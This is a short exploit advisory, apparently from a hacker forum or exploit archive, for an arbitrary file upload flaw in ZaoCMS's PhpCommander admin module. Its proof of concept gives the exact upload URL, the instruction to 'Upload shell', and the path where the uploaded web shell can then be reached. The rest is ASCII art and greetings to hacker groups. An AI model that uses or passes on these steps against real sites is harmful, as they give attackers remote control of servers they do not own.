ZaoCMS Remote File Upload

`  
|| || | ||  
o_,_7 _|| . _o_7 _|| q_|_|| o_w_,  
( : / (_) / ( .   
  
  
=By: Qabandi  
=Email: iqa[a]hotmail.fr  
  
From Kuwait PEACE  
  
=Vuln: ZaoCMS (PhpCommander) - Arbitrary File Upload  
=INFO: http://zaocms.com/  
=BUY: http://zaocms.com/  
=DORK: --  
  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-File-Upload-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
Go to:  
http://localhost/admin/functions/PhpCommander/upload.php?Directory=./&sort=NomASC&action=upload  
  
Upload shell  
  
location:  
  
http://localhost/documents/SHELL.PHP  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
-=-=-=-==-==-=-3la-ra7atkum-shabab-=-:P=-=-=-==-=-==-=-=-=-=-=-=-=-  
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.  
Special Thanks: ThE g0bL!N  
  
  
`